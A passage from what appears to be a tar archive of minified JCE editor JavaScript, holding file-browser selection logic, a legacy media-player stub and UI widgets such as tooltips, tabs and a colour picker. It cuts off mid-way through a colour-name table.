uk-hidden")}this._buttons[type][o.name]={name:o.name,element:button,trigger:o.trigger,multiple:o.multiple,single:"undefined"===$.type(o.single)||o.single,restrict:o.restrict||"",sticky:o.sticky}},_hideAllButtons:function(){var self=this;$("a.button","#browser-buttons").each(function(){self._hideButton(this)})},_hideButtons:function(buttons){var self=this;$.each(buttons,function(i,button){self._hideButton(button)})},_hideButton:function(button){$(button).addClass("uk-hidden").attr("aria-hidden",!0)},_showButtons:function(){var self=this;this._hideAllButtons();var folder=$("li.folder.selected","#item-list"),file=$("li.file.selected","#item-list");if(file.length&&folder.length){var buttons={},filebtns=this._buttons.file,folderbtns=this._buttons.folder;$.each(filebtns,function(k,o){!o.trigger&&o.multiple&&folderbtns[k]&&(buttons[k]=o)}),$.each(folderbtns,function(k,o){!o.trigger&&o.multiple&&filebtns[k]&&(buttons[k]=o)}),$.each(buttons,function(k,o){self._showButton(o.element,o.single,!0)})}else{var type=file.length?"file":"folder";$.each(this._buttons[type],function(k,o){if(o.trigger||o.restrict||self._showButton(o.element,o.single,o.multiple),o.restrict){var re=o.restrict.replace(/,/g,"|"),item=self.getSelectedItems(0);new RegExp("\\.("+re+")$","i").test($(item).attr("title"))&&self._showButton(o.element,o.single,o.multiple)}})}this._pasteitems&&this._showPasteButton()},_showButton:function(button,single,multiple){if(button){var show=!1,n=$("li.selected","#item-list").length;n>1?multiple&&(show=!0):single&&(show=!0),$(button).toggleClass("uk-hidden",!show),show||$(button).attr("aria-hidden",!1)}},_getButton:function(type,name){return this._buttons[type][name]||null},_showPasteButton:function(){this._showButton($("a.paste","#browser-buttons"),!0,!0)},_isSelectedItem:function(el){return $(el).is("li.selected")},_deselectItems:function(){this.options.dialog;$("li.selected","#item-list").removeClass("selected active").find('input[type="checkbox"]').prop("checked",!1),$("#browser-details-text, #browser-details-comment").empty(),$.each(["#browser-details-nav-left","#browser-details-nav-right","#browser-details-nav-text"],function(i,el){$(el).addClass("uk-invisible").attr("aria-hidden",!0)}),this._hideAllButtons(),$('input[type="checkbox"]',"#check-all").prop("checked",!1)},_selectItems:function(e,items,show){$(items).addClass("selected").find('input[type="checkbox"]').prop("checked",!0),show&&this._showSelectedItems(e);var $list=$("#item-list");$("input:checked",$list).length===$("li",$list).length&&$('input[type="checkbox"]',"#check-all").prop("checked",!0),this._trigger("onSelectItems",null,items)},_removeSelectedItems:function(items,show){$(items).removeClass("selected active").find('input[type="checkbox"]').prop("checked",!1),show&&this._showSelectedItems(),this._trigger("onRemoveItems",null,items)},getSelectedItems:function(key){var $items=$("li.selected","#item-list");return $items.get(key)||$items},setSelectedItems:function(items){this._findItem(items)},_setSelectedItems:function(e,multiple){var checkbox=!1,el=e.target,$list=$("#item-list");if("keydown"===e.type){if(el=$("li.selected:last",$list).get(0),$list=$("#browser-list"),38==e.which&&(el=el.previousSibling),40==e.which&&(el=el.nextSibling),!el)return;(el.offsetTop>$list.innerHeight()||el.offsetTop<$list.scrollTop())&&$list.scrollTop(el.offsetTop+$(el).innerHeight()-$list.height())}$(el).is('input[type="checkbox"]')&&(multiple=!0,checkbox=!0,el=$(el).parents("li").get(0)),"LI"!=el.nodeName&&(el=el.parentNode);var selected=$("li.selected",$list);if(this._isSelectedItem(el)&&1===selected.length)return e.preventDefault(),!1;var items=$("li.folder, li.file",$list),ctrl=e.ctrlKey||e.metaKey,shift=e.shiftKey;if(e.data={},(ctrl||shift||checkbox)&&multiple){if(multiple&&(ctrl||shift||checkbox)&&(e.data.multiple=!0,(ctrl||checkbox)&&(this._isSelectedItem(el)?this._removeSelectedItems([el],!0):this._selectItems(e,[el],!0)),shift))if(selected.length){var si=$(selected).index(),ci=$(el,items).index(),selection=[];if(this._deselectItems(),ci>si)for(var i=ci;i>=si;i--)selection.push(items[i]);else for(var i=si;i>=ci;i--)selection.push(items[i]);this._selectItems(e,selection,!0)}else this._selectItems(e,[el],!0)}else $(el).find('input[type="checkbox"]').prop("checked",!1),this._deselectItems(),this._selectItems(e,[el],!0)},_showSelectedItems:function(e){var $items=$("li.selected","#item-list"),n=$items.length;n?($items.first().addClass("active"),this._showItemDetails(e)):this._reset()},_findItem:function(files,type){var self=this,items=[];type=type||"file","string"==$.type(files)&&(files=[files]);var insert=!1,$list=$("#item-list"),base=self.getBaseDir();if($.each(files,function(i,file){if(file&&file.name){var name=decodeURIComponent(file.name);if($list.length){var item=[];if(item=$("li."+type+'[title="'+Wf.String.basename(name)+'"], li.'+type+'[data-url="'+Wf.String.path(base,name)+'"]',$list),
item.length){if(file.insert){insert=!0,items=item;var data=self._serializeItemData(item);self._trigger("onFileClick",null,[item,data])}insert||$.merge(items,item)}}}}),items.length){var h=$(items).first().outerHeight()+2,top=$(items).get(0).offsetTop-h;$("#browser-list").animate({scrollTop:Math.round(top)},1500,function(){$(this).off(scrollEvents)})}this._selectItems(null,items,!0)},_serializeItemData:function(item){var data={url:$(item).data("url"),preview:$(item).data("preview"),title:$(item).attr("title"),width:$(item).data("width"),height:$(item).data("height")};return data},_serializeSelectedItems:function(){var self=this;return $("li.selected","#item-list").map(function(){return Wf.String.path(self._dir,$(this).attr("title"))}).get().join(",")},_showItemDetails:function(e){var self=this,$items=$("li.selected","#item-list"),n=$items.length,$nav=$("#browser-details-nav");if(n>1){var index=$items.index($items.filter(".active"));index?$(".details-nav-left",$nav).removeClass("uk-invisible").attr("aria-hidden",!1):$(".details-nav-left",$nav).addClass("uk-invisible").attr("aria-hidden",!0),index+1<n?$(".details-nav-right",$nav).removeClass("uk-invisible").attr("aria-hidden",!1):$(".details-nav-right",$nav).addClass("uk-invisible").attr("aria-hidden",!0),$(".details-nav-text",$nav).removeClass("uk-invisible").html(function(){return self._translate("one_of_many","%o of %m").replace("%o",index+1).replace("%m",n)})}else $("li",$nav).addClass("uk-invisible").attr("aria-hidden",!0);this._showButtons(),this._getItemDetails(e)},_getDimensions:function(file){var img=new Image;if($(file).data("url")){var src=Wf.String.path(Wf.getURI(),$(file).data("url"));$(file).addClass("loading disabled").children("span.checkbox").addClass("disabled"),img.onload=function(){$(file).attr({"data-preview":src,"data-width":img.width,"data-height":img.height}),$(file).removeClass("loading disabled").children("span.checkbox").removeClass("disabled")},img.onerror=function(){$(file).removeClass("loading disabled").children("span.checkbox").removeClass("disabled")},img.src=src}},_getMediaProps:function(file){var deferred=new $.Deferred,props={};if(file.type||deferred.reject(),"video"===file.type&&/\.(mp4|m4v|ogg|ogv|webm)$/i.test(file.preview)&&$.support.video){var video=document.createElement("video");video.onloadedmetadata=function(){props={duration:parseInt(video.duration/60,10)+":"+parseInt(video.duration%60,10),width:video.videoWidth,height:video.videoHeight},video=null,deferred.resolve(props)},video.src=file.preview}else if("audio"===file.type&&/\.(mp3|oga|ogg)$/i.test(file.preview)&&$.support.audio){var audio=document.createElement("audio");audio.onloadedmetadata=function(){props.duration=parseInt(audio.duration/60,10)+":"+parseInt(audio.duration%60,10),audio=null,deferred.resolve(props)},audio.src=file.preview}else if("image"===file.type){var image=new Image,props={};image.onload=function(){props.width=image.width,props.height=image.height,deferred.resolve(props)};var src=/:\/\//.test(file.preview)?file.preview:Wf.String.encodeURI(file.preview)+"?"+(new Date).getTime();image.src=src}else deferred.reject();return deferred},_getItemDetails:function(e){var mime,self=this,item=$("li.selected.active","#item-list"),title=Wf.String.basename($(item).attr("title")),type=$(item).hasClass("folder")?"folder":"file";$("#browser-details-text").empty().addClass("loading");var path=Wf.String.path(this._dir,Wf.String.encodeURI(title)),callback=function(){$(item).data("width")&&$(item).data("height")&&($(".uk-comment-header",info).append('<div class="uk-comment-meta" id="info-dimensions">'+self._translate("dimensions","Dimensions")+": "+$(item).data("width")+" x "+$(item).data("height")+"</div>"),mime&&"image"===mime&&$("#info-preview").append('<img src="'+$(item).data("preview")+'" alt="" />').removeClass("loading")),$(item).data("duration")&&$(".uk-comment-header",info).append('<div class="uk-comment-meta" id="info-duration">'+tinyMCEPopup.getLang("dlg.duration","Duration")+": "+$(item).data("duration")+"</div>");var o={url:$(item).data("url"),preview:$(item).data("preview"),title:$(item).attr("title"),width:$(item).data("width"),height:$(item).data("height"),isSelection:e&&e.data&&!e.data.multiple};self._trigger("onFileDetails",[item,o])},name=title,ext="";$(self.element).next("span.loader").remove(),"file"==type&&(name=Wf.String.stripExt(title),ext=Wf.String.getExt(title));var info=document.createElement("div");$(info).addClass("uk-comment").append('<div class="uk-comment-header"><h5 class="uk-width-1-1 uk-margin-remove uk-text-bold uk-text-truncate" title="'+name+'">'+name+'</h5><div class="uk-comment-meta">'+ext+" "+self._translate(type,Wf.String.ucfirst(type))+'</div><div class="uk-comment-meta" id="info-properties"><div></div>'),$(item).data("preview")&&$(info).append('<div class="uk-comment-body uk-width-1-1 uk-text-center" id="info-preview"></div>'),$("#browser-details-text").removeClass("loading").empty().append(info);var comments="";if($(item).hasClass("notwritable")&&(comments+='<li class="comments '+type+' notwritable"><span class="hastip" title="'+self._translate("notwritable_desc","Unwritable")+'">'+self._translate("notwritable","Unwritable")+"</span></li>"),$(item).hasClass("notsafe")&&(comments+='<li class="comments '+type+' notsafe"><span class="hastip" title="'+self._translate("bad_name_desc","Bad file or folder name")+'">'+self._translate("bad_name","Bad file or folder name")+"</span></li>"),$(item).data("trigger")&&$.each($(item).data("trigger").split(","),function(i,v){if(""!==v){var button=self._getButton(type,v);button&&self._showButton(button.element,button.single,button.multiple)}}),$(item).data("size")&&$(".uk-comment-header",info).append('<div class="uk-comment-meta" id="info-size">'+tinyMCEPopup.getLang("dlg.size","Size")+": "+Wf.String.formatSize($(item).data("size"))+"</div>"),$(item).data("modified")&&$(".uk-comment-header",info).append('<div class="uk-comment-meta" id="info-modified">'+tinyMCEPopup.getLang("dlg.modified","Modified")+": "+Wf.String.formatDate($(item).data("modified"),self.options.date_format)+"</div>"),comments&&$("#browser-details-comment").empty().append("<ul>"+comments+"</ul>"),$("span.hastip",$("#browser-details-comment")).tips(),"folder"===type)self._trigger("onFolderDetails",null,item);else{var preview=$(item).data("preview")||Wf.String.path(Wf.getURI(),$(item).data("url"));if(mime=getMimeType(ext)){if("image"===mime&&$(item).data("width")&&$(item).data("height"))return callback();if("video"===mime&&$(item).data("width")&&$(item).data("height")&&$(item).data("duration"))return callback();if("audio"===mime&&$(item).data("duration"))return callback();self._getMediaProps({preview:preview,type:mime}).then(function(o){$.each(o,function(k,v){$(item).data(k,v)}),callback()},function(){Wf.JSON.request("getDimensions",[path],function(o){o&&!o.error&&$.each(o,function(k,v){$(item).data(k,v)}),callback()})})}}}},$.fn.filebrowser=function(options){$(this).addClass("filebrowser");var instance=new FileBrowser(this,options);return $(this).on("filebrowser:insert",function(e,cb){var selected=instance.getSelectedItems(),data=$.map(selected,function(item){return{url:$(item).data("url"),preview:$(item).data("preview"),title:$(item).attr("title"),width:$(item).data("width"),height:$(item).data("height")}});return"function"==typeof cb&&cb(selected,data),data}),$(this).on("filebrowser:status",function(e,status){instance.setStatus(status)}),$(this).on("filebrowser:load",function(e,url){return instance.load(url)}),$(this).on("filebrowser:refresh",function(){return instance.refresh()}),$.fn.filebrowser.getbasedir=function(){return instance.getBaseDir()},$.fn.filebrowser.getcurrentdir=function(){return instance.getCurrentDir()},$.fn.filebrowser.getselected=function(){return instance.getSelectedItems()},$.fn.filebrowser.status=function(status){return instance.setStatus(status)},$.fn.filebrowser.load=function(url){return instance.load(url)},this},window.FileBrowser=FileBrowser}(jQuery,Wf);var WFFileBrowser={settings:{},element:"",init:function(element,options){$.extend(!0,this.settings,options),this.element=element,$(this.element).filebrowser(this.settings)},getBaseDir:function(){return $.fn.filebrowser.getbasedir()},getCurrentDir:function(){return $.fn.filebrowser.getcurrentdir()},getSelectedItems:function(key){return $.fn.filebrowser.getselected(key)},setSelectedItems:function(items){return $.fn.filebrowser.setselected(items)},refresh:function(){return $.fn.filebrowser.refresh()},status:function(message,state){return $.fn.filebrowser.status(message,state)},load:function(items){$(this.element).trigger("filebrowser:load",items)},get:function(fn,args){return WFFileBrowser[fn](args)}};editor/libraries/js/legacy.min.js000060400000002506150750527150013014 0ustar00(function($, Wf) {
    $.Plugin = Wf;
    $.String = Wf.String;
    $.Cookie = Wf.Cookie;
    $.URL = Wf.URL;
    $.JSON = Wf.JSON;
    $.Dialog = Wf.Modal;
})(jQuery, Wf);

var WFMediaPlayer = WFExtensions.add('MediaPlayer', {
    /**
     * Parameter Object
     */
    params: {
        extensions: 'flv,f4v',
        dimensions: {},
        path: ''
    },

    type: 'flash',

    init: function(o) {
        tinymce.extend(this, o);

        // return the MediaPlayer object
        return this;
    },

    setup: function() {},

    getTitle: function() {
        return this.title || this.name;
    },

    getType: function() {
        return this.type;
    },

    /**
     * Check whether a media type is supported
     */
    isSupported: function() {
        return false;
    },

    /**
     * Return a player parameter value
     * @param {String} Parameter
     */
    getParam: function(param) {
        return this.params[param] || '';
    },

    /**
     * Set Player Parameters
     * @param {Object} o Parameter Object
     */
    setParams: function(o) {
        tinymce.extend(this.params, o);
    },

    /**
     * Return the player path
     */
    getPath: function() {
        return this.getParam('path');
    },

    onSelectFile: function(file) {},

    onInsert: function() {},

    onChangeType: function() {}

});editor/libraries/js/plugin.min.js000060400000241721150750527150013052 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
if(function($){document.createElement("main"),document.createElement("nav");var $tmp=document.createElement("div");$.support.canvas=!!document.createElement("canvas").getContext,$.support.backgroundSize=function(){var s=!1;return $.each(["backgroundSize","MozBackgroundSize","WebkitBackgroundSize","OBackgroundSize"],function(){"undefined"!=typeof $tmp.style[this]&&(s=!0)}),s}(),$.support.pdf=function(){try{if(!$.support.cssFloat){var control=null;try{control=new ActiveXObject("AcroPDF.PDF")}catch(e){}if(!control)try{control=new ActiveXObject("PDF.PdfCtrl")}catch(e){}return!!control}if(navigator.plugins)for(var n in navigator.plugins){if("Adobe Acrobat"==n)return!0;if(navigator.plugins[n].name&&("Adobe Acrobat"==navigator.plugins[n].name||"Chrome PDF Viewer"==navigator.plugins[n].name))return!0}else if(navigator.mimeTypes){var mime=navigator.mimeTypes["application/pdf"];if(mime&&mime.enabledPlugin)return!0}}catch(e){}return!1}(),$.support.video=function(){var el=document.createElement("video"),o={};try{if(el.canPlayType){o.ogg=el.canPlayType('video/ogg; codecs="theora"');var h264='video/mp4; codecs="avc1.42E01E';return o.mp4=el.canPlayType(h264+'"')||el.canPlayType(h264+', mp4a.40.2"'),o.webm=el.canPlayType('video/webm; codecs="vp8, vorbis"'),o}}catch(e){}return!1}(),$.support.audio=function(){var el=document.createElement("audio"),o={};try{if(el.canPlayType)return o.ogg=el.canPlayType('audio/ogg; codecs="vorbis"'),o.mp3=el.canPlayType("audio/mpeg;"),o.wav=el.canPlayType('audio/wav; codecs="1"'),o.m4a=el.canPlayType("audio/x-m4a;")||el.canPlayType("audio/aac;"),o.webm=el.canPlayType('audio/webm; codecs="vp8, vorbis"'),o}catch(e){}return!1}(),$.support.cssCalc=function(){var el=document.createElement("a");return el.style.cssText="width:calc(10px);",!!el.style.length}()}(jQuery),function($){$.support.canvas=!1;$.fn.tooltip=function(options){function init(element){$(element).hasClass("wf-tooltip-cancel-ondrag")&&cancelOnDrag(element),$(element).click(function(e){if(e.preventDefault(),!("click"==options.trigger&&$(this).is(options.disabled)||"A"==this.nodeName||$("a",this).length||$(this).hasClass("wf-tooltip-cancel-ondrag"))){if("click"==options.trigger){if($(".uk-tooltip").is(":visible"))return end();start(e,element)}$(".uk-tooltip").hasClass("uk-tooltip-sticky")?unpin():pin(element)}}),$(element).on("tooltip:close",function(){return end(element)}),"hover"==options.trigger&&$(element).hover(function(e){if(!$(".uk-tooltip").hasClass("uk-tooltip-sticky")&&!$(this).hasClass("uk-tooltip-nohover"))return start(e,element)},function(e){if(!$(".uk-tooltip").hasClass("uk-tooltip-sticky")&&!$(this).hasClass("uk-tooltip-nohover"))return end(element)})}function createTips(){var $tips=$(".uk-tooltip");$tips.get(0)||($tips=$('<div class="tooltip uk-tooltip" role="tooltip" aria-hidden="true"><span class="close uk-icon uk-icon-close" title="Close">&times;</span><div class="tooltip-arrow"></div><div class="tooltip-inner uk-tooltip-inner"></div></div>').appendTo(options.parent),$(".uk-icon-close",$tips).click(function(){end()}).hide()),$tips.addClass("tooltip").addClass(options.className)}function start(e,element){createTips();var $tips=$(".uk-tooltip");if($tips.data("source",element),options.content)var h=options.content;else{var text=$(element).attr("title")||"",title="";if(/::/.test(text)){var parts=text.split("::");title=$.trim(parts[0]),text=$.trim(parts[1])}$(element).data("title",$(element).attr("title")).attr("title",""),$(element).attr("aria-describedby","uk-tooltip");var h="";title&&(h+="<h4>"+title+"</h4>"),text&&(h+="<p>"+text+"</p>")}$(".uk-tooltip-inner",$tips).html(h),$tips.show().addClass("in").attr("aria-hidden","false"),locate(e,element),$(element).trigger("tooltip:show"),window.setTimeout(function(){$tips.css("visibility","visible")},1)}function end(element){var $tips=$(".uk-tooltip"),element=$tips.data("source")||element;$(element).data("title")&&$(element).attr("title",$(element).data("title")),$(element).removeAttr("aria-describedby"),$tips.css("visibility","hidden").attr("aria-hidden","true").hide(),$(".uk-tooltip").attr("class","uk-tooltip").removeClass("in"),$(".uk-tooltip-inner").empty(),$(element).trigger("tooltip:hide"),unpin()}function cancelOnDrag(element){$(element).bind("mousedown",function(){$(this).addClass("nohover"),end(),$(this).data("title",$(this).attr("title")).attr("title","")}).bind("mouseup",function(){$(this).removeClass("nohover"),$(this).attr("title",$(this).data("title"))})}function pin(element){$(".uk-tooltip").addClass("uk-tooltip-sticky"),$(".uk-icon-close",".uk-tooltip").show(),$(window).on("click.tooltip-blur",function(e){var el=$(element).get(0),n=e.target;n==el||"LABEL"==el.nodeName&&$(el).attr("for")&&n==$("#"+$(el).attr("for")).get(0)||n==$(".uk-tooltip").get(0)||0===$(n).parents(".uk-tooltip").length&&end()})}function unpin(){$(".uk-tooltip").removeClass("uk-tooltip-sticky"),$(".uk-icon-close",".uk-tooltip").hide(),$(window).off("click.tooltip-blur")}function locate(e,element){createTips();var $tips=$(".uk-tooltip"),o=options.offsets,pos=$(e.target).offset(),parent=$tips.parent().position();pos.left=pos.left-parent.left,pos.top=pos.top-parent.top;var tip={width:$tips.outerWidth(),height:$tips.outerHeight()};pos=$.extend(pos,{width:$(e.target).outerWidth(),height:$(e.target).outerHeight()});var position=options.position,scrollTop=$(document).scrollTop();position=pos.top-tip.height<0||pos.top<scrollTop+tip.height+o.y?position.replace(/(top|center)\s+/,"bottom "):position.replace(/(bottom|center)\s+/,"top "),position=pos.left+tip.width>$(window).width()?position.replace("right","left"):position.replace("left","right");var style={"top center":{top:Math.max(pos.top-tip.height-o.y,10),left:Math.max(pos.left+pos.width/2-tip.width/2,5)},"bottom center":{top:Math.max(pos.top+pos.height+o.y,10),left:Math.max(pos.left+pos.width/2-tip.width/2,5)},"center right":{top:Math.max(pos.top-tip.height/2+pos.height/2,5),left:Math.max(pos.left+pos.width,10)},"center left":{top:Math.max(pos.top-tip.height/2+pos.height/2,5),left:Math.max(pos.left-tip.width,10)},"bottom right":{top:Math.max(pos.top-tip.height+o.y,5),left:Math.max(pos.left+pos.width,10)},"bottom left":{top:Math.max(pos.top-tip.height+pos.height+o.y,5),left:Math.max(pos.left-tip.width,10)},"top right":{top:Math.max(pos.top-tip.height-o.y,10),left:Math.max(pos.left+pos.width,10)},"top left":{top:Math.max(pos.top-tip.height-o.y,10),left:Math.max(pos.left-tip.width,10)}};$.each(position.split(" "),function(i,s){$tips.addClass(s).addClass("uk-tooltip-"+s)}),$tips.css(style[position])}return options=$.extend({speed:150,position:"top center",className:"",offsets:{x:16,y:16},width:200,fixed:!0,parent:"body",trigger:"hover",disabled:":disabled, .disabled"},options),this.each(function(){init(this)})},$.fn.tips=$.fn.tooltip}(jQuery),function($){$.fn.checkbox=function(){return this.each(function(){var self=this;return $(this).hasClass("uk-form-constrain")?this:void $(this).wrap('<i class="uk-checkbox" />').click(function(){$(this).parent().toggleClass("uk-icon-check",this.checked)}).on("checkbox:check",function(){$(this).parent().toggleClass("uk-icon-check",self.checked)}).parent().toggleClass("uk-icon-check",self.checked).css("margin-top",$(self).parent().height()/2)})},$.fn.equalize=function(){return this.each(function(){var x=0,cb=this,$elms=$(this).parents(".uk-form-equalize").find('input[type="text"]'),self=this;$(self).click(function(){var state=this.checked;if($elms.slice(1).prop("disabled",state).prev("label").toggleClass("uk-text-muted",state),state){var value=$elms.first().val();$elms.slice(1).val(value).change(),$(cb).trigger("equalize:change",[$elms.andSelf()])}}),$elms.first().change(function(){var state=$(self).prop("checked");state&&$elms.not(this).val(this.value).change(),$(cb).trigger("equalize:change",[$elms.andSelf()])}),$(this).on("equalize:update",function(){var value=$elms.first().val();$elms.each(function(){$(this).val()===value&&x++});var state=x===$elms.length;$elms.slice(1).prop("disabled",state).prev("label").toggleClass("uk-text-muted",state),$(this).prop("checked",state)})})},$.fn.constrain=function(){return this.each(function(){var cb=this,$elms=$(this).parents(".uk-form-constrain").find('input[type="text"], input[type="number"]');$(this).on("constrain:update",function(){$(this).parents(".uk-form-constrain").find('input[type="text"], input[type="number"]').each(function(){$(this).data("tmp",this.value)})}),$(this).parent(".uk-icon-lock").toggleClass("uk-icon-unlock-alt",!this.checked),$(cb).click(function(){$(this).parent(".uk-icon-lock").toggleClass("uk-icon-unlock-alt",!this.checked)}),$elms.each(function(){$(this).data("tmp",this.value)}).change(function(e){e.stopPropagation();var a=this,$elms=$(this).parents(".uk-form-constrain").find("input"),b=$elms.not(":checkbox").not(this),cb=$elms.filter(":checkbox"),w=$(a).val(),h=$(b).val(),tw=$(a).data("tmp");if($(cb).trigger("constrain:change",[$elms]),w&&h&&tw){if(w.indexOf("%")!==-1||h.indexOf("%")!==-1)return;if($(cb).is(":checked")){var temp=(h/tw*w).toFixed(0);$(b).val(temp).data("tmp",temp)}}$(a).data("tmp",w)})})},$.fn.repeatable=function(){return this.each(function(){function clone(){var el=$(self).clone(!0,!0);$(el).find("input").val(""),$(self).trigger("repeatable:create",[self,$(el).get(0)]),$(el).insertAfter($(self).siblings(".uk-repeatable").add(self).last())}var self=this;return $(this).data("uk-repeatable")?this:($(this).data("uk-repeatable",1),$(".uk-repeatable-create",this).click(function(e){clone(),e.preventDefault()}),$(".uk-repeatable-delete",this).click(function(e){$(this).parent().parent().remove(),e.preventDefault()}),void $(self).on("repeatable:clone",function(e,count){for(var i=0;i<count;i++)clone()}))})},$.fn.button=function(options,key,value){options=options||{};var map={"uk-icon-circle-arrow-w":"uk-icon-refresh","uk-icon-arrowreturnthick-1-w":"uk-icon-undo","uk-icon-circle-check":"uk-icon-check","uk-icon-check":"uk-icon-check","uk-icon-closethick":"uk-icon-close"};return this.each(function(){if("string"==typeof options)return"option"===options&&key&&value&&"label"===key&&$(".uk-button-text",this).text(value),"enable"===options&&$(this).prop("disabled",!1),"disable"===options&&$(this).prop("disabled",!0),this;if($(this).addClass("uk-button").addClass(options.classes||""),$(this).html('<span class="uk-button-text">'+$(this).text()+"</span>"),options.icons&&options.icons.primary){var icon=map[options.icons.primary]||options.icons.primary||"";$("<i />").addClass("uk-margin-small-right uk-icon "+icon).prependTo(this)}})},$.fn.tabs=function(options,key,value){return this.each(function(){var el=this;return"string"==typeof options?this:$(this).data("tabs")?this:($(this).addClass("uk-tabs"),$(this).children("ul").addClass("uk-tab"),0===$(this).children(".uk-switcher").length&&$('<div class="uk-switcher" />').append($(this).children("div")).appendTo(this),$(this).children(".uk-switcher").addClass("uk-tabs-panel").children().first().addClass("uk-active"),$(".uk-tab li",el).click(function(e){e.preventDefault(),$(el).children(".uk-switcher").children().addClass("uk-tabs-hide");var panel=$(el).children(".uk-switcher").children(".uk-active").get(0),tab=$(el).children(".uk-tab").children(".uk-active").get(0);$(el).trigger("tabs.beforeactivate",[tab,panel]),$(el).children(".uk-tab, .uk-switcher").children().removeClass("uk-active"),$(this).addClass("uk-active");var panel=$(el).children(".uk-switcher").children().eq($(this).index()).addClass("uk-active").removeClass("uk-tabs-hide").get(0);$(el).trigger("tabs.activate",[this,panel]),e.preventDefault()}).first().addClass("uk-active"),void $(this).data("tabs",!0))})},$.fn.accordion=function(options,key,value){var el=this,hidden={height:0,position:"relative",overflow:"hidden"};return"string"==typeof options?("activate"===options&&"undefined"!=typeof key&&$(".uk-accordion-title",this).click(),this):($(this).children("h3").addClass("uk-accordion-title").next("div").addClass("uk-accordion-content").css(hidden),$(".uk-accordion-title",this).click(function(e){e.preventDefault();var tab=this;$(".uk-accordion-content",el).height(0),$(".uk-accordion-title",el).removeClass("uk-active"),$(this).addClass("uk-active").next("div").css("height",function(i,v){return 0===parseInt(v)?($(el).trigger("accordion.activate",[tab,this]),"auto"):0})}),$.isPlainObject(options)&&"function"==typeof options.beforeActivate&&$(this).on("accordion:activate",function(e,tab){var ui={newHeader:tab};options.beforeActivate(e,ui)}),$(this).on("accordion:reset",function(e){$(".uk-accordion-content",el).height(0),$(".uk-accordion-title",el).removeClass("uk-active")}),this)},$.fn.dialog=function(){return this},$.fn.datalist=function(options){return options=$.extend({seperator:" "},options),this.each(function(){var self=this,id=$(this).attr("id");$(this).attr("id",id+"-select"),$(this).parent(".uk-form-controls").addClass("uk-datalist"),$(this).parent().hasClass("uk-datalist")||$(this).wrap('<span class="uk-datalist" />');var value=$(this).val(),input=$(this).siblings('input[type="text"]');0===input.length&&(input=$('<input type="text" />').attr("id",id).insertBefore(this)),$(input).prop("disabled",$(this).prop("disabled")).val(value),$(input).change(function(){var v=this.value,v=v.split(options.seperator)[0];$(self).val(v),$(self).trigger("datalist:change")}),$(this).change(function(e){var value=this.value;if(3!==e.isTrigger){if(value&&this.id.indexOf("classlist-select")!==-1){var $tmp=$("<span/>").addClass($(input).val()).addClass(this.value);""!==value&&(value=$tmp.attr("class"))}$(input).val(value),$(self).trigger("datalist:change")}})})}}(jQuery),function($){var ColorPicker=function(element,options){this.options=$.extend(this.options,options),this.element=element,this._init()};ColorPicker.prototype={options:{color:"#FFFFFF",detail:50,speed:200,stylesheets:[],custom_colors:"",forcedHighContrastMode:!1,labels:{picker:"Picker",title:"Color Picker",palette:"Web Colors",named:"Named Colors",template:"Template Colors",custom:"Custom Colors",color:"Color",apply:"Apply",name:"Name"},dialog:!1,parent:"body"},_strhex:"0123456789abcdef",_colors:["#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033","#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099","#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff","#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033","#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399","#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff","#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333","#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399","#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff","#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633","#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699","#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff","#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633","#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999","#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff","#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933","#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999","#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff","#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33","#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99","#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff","#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33","#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99","#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff","#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33","#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99","#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff"],_named:{"#F0F8FF":"AliceBlue","#FAEBD7":"AntiqueWhite","#7FFFD4":"Aquamarine","#F0FFFF":"Azure","#F5F5DC":"Beige","#FFE4C4":"Bisque","#000000":"Black","#FFEBCD":"BlanchedAlmond","#0000FF":"Blue","#8A2BE2":"BlueViolet","#A52A2A":"Brown","#DEB887":"BurlyWood","#5F9EA0":"CadetBlue","#7FFF00":"Chartreuse","#D2691E":"Chocolate","#FF7F50":"Coral","#6495ED":"CornflowerBlue","#FFF8DC":"Cornsilk","#DC143C":"Crimson","#00008B":"DarkBlue","#008B8B":"DarkCyan","#B8860B":"DarkGoldenRod","#A9A9A9":"DarkGray","#006400":"DarkGreen","#BDB76B":"DarkKhaki","#8B008B":"DarkMagenta","#556B2F":"DarkOliveGreen","#FF8C00":"Darkorange","#9932CC":"DarkOrchid","#8B0000":"DarkRed","#E9967A":"DarkSalmon","#8FBC8F":"DarkSea